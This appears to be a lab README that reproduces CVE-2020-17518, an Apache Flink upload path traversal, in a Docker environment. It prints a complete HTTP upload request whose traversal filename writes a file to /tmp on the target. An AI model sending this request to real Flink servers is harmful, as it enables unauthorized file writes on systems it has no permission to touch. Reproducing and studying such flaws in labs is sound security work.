Aaron
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49 lines
1.6 KiB
Markdown
49 lines
1.6 KiB
Markdown
# Apache Flink Upload Path Traversal (CVE-2020-17518)
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[中文版本(Chinese version)](README.zh-cn.md)
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Apache Flink is an open source stream processing framework with powerful stream- and batch-processing capabilities.
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A vulnerability in Apache Flink 1.5.1 and later versions allows attackers to write uploaded files to arbitrary locations on the local file system through a maliciously crafted HTTP header in the REST API request. This issue is fixed in Apache Flink 1.11.3.
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References:
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- <https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4>
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- <https://nvd.nist.gov/vuln/detail/CVE-2020-17518>
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## Environment Setup
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Execute the following command to start an Apache Flink jobmanager 1.11.2:
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```
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docker compose up -d
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```
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After the Apache Flink service is started, visit `http://your-ip:8081` to access the management interface.
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## Vulnerability Reproduction
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Send the following HTTP request to upload a file to `/tmp/success` on the target server:
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```
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POST /jars/upload HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Length: 187
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------WebKitFormBoundaryoZ8meKnrrso89R6Y
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Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
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success
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------WebKitFormBoundaryoZ8meKnrrso89R6Y--
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```
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After the file is uploaded, you can check the `/tmp/success` file on the target server:
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